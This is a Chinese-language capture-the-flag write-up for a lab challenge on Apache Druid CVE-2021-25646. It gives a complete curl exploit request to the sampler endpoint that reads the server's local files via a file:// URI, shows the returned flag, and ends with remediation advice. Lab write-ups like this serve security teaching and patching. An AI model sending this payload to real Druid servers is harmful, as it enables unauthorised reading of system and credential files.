玄机靶场—Apache-druid(CVE-2021-25646) WP

张开发
2026/4/26 16:56:05 15 分钟阅读

分享文章

玄机靶场—Apache-druid(CVE-2021-25646) WP
Apache-druid(CVE-2021-25646) 通关笔记题目信息平台玄机靶场题目 ID197难度简单积分300 分类型渗透漏洞编号CVE-2021-25646漏洞背景Apache Druid 0.20.0 及以前版本中/druid/indexer/v1/sampler接口的ioConfig.inputSource支持多种数据源类型包括http类型。该类型允许从指定 URI 拉取数据而未对file://协议进行限制导致攻击者可以通过file:///path/to/file读取服务器本地任意文件。虽然题目描述的是 JavaScript RCE通过javascript类型的 filter/aggregator 执行任意 JS 代码但本靶场环境中 JavaScript 功能被配置禁用druid.javascript.enabled未设置为 true因此改用httpinputSource file://协议实现任意文件读取。靶机信息IP52.83.246.206端口8888Druid Router/Web Console版本Apache Druid 0.20.0利用过程步骤 1确认服务版本curl-shttp://52.83.246.206:8888/status响应确认版本为0.20.0属于漏洞版本范围。步骤 2尝试 JavaScript RCE失败通过/druid/indexer/v1/sampler发送包含javascript类型 filter 的 payload服务器返回HTTP ERROR 500 java.lang.IllegalStateException: JavaScript is disabled说明druid.javascript.enabled未启用JavaScript 执行路径不可用。步骤 3改用 file:// 协议读取文件利用http类型 inputSource 支持file://协议的特性直接读取/flag.txtcurl-s-XPOSThttp://52.83.246.206:8888/druid/indexer/v1/sampler\-HContent-Type: application/json\-d{ type: index, spec: { type: index, ioConfig: { type: index, inputSource: { type: http, uris: [file:///flag.txt] }, inputFormat: {type: regex, pattern: (.*), columns: [line]} }, dataSchema: { dataSource: test, timestampSpec: {missingValue: 2021-01-01T00:00:00.000Z}, dimensionsSpec: {dimensions: [line]}, metricsSpec: [], granularitySpec: {type: uniform, segmentGranularity: DAY, queryGranularity: NONE, rollup: false} } }, samplerConfig: {numRows: 10, timeoutMs: 10000} }步骤 4获取 FLAG响应内容{numRowsRead:1,numRowsIndexed:1,data:[{input:{line:flag{b9b9dfac-6140-4de8-bf3d-4789ee0800cc}},parsed:{__time:1609459200000,line:flag{b9b9dfac-6140-4de8-bf3d-4789ee0800cc}}}]}FLAGflag{b9b9dfac-6140-4de8-bf3d-4789ee0800cc}Flag 汇总步骤内容Flag步骤1读取 /flag.txtflag{b9b9dfac-6140-4de8-bf3d-4789ee0800cc}修复建议升级 Apache Druid 至 0.21.0 或更高版本。若无法升级在common.runtime.properties中确保druid.javascript.enabledfalse默认值。对http类型 inputSource 的 URI 进行白名单校验禁止file://、jar://等本地协议。部署网络访问控制限制 Druid 管理端口8888/8081/8090的外部访问。

更多文章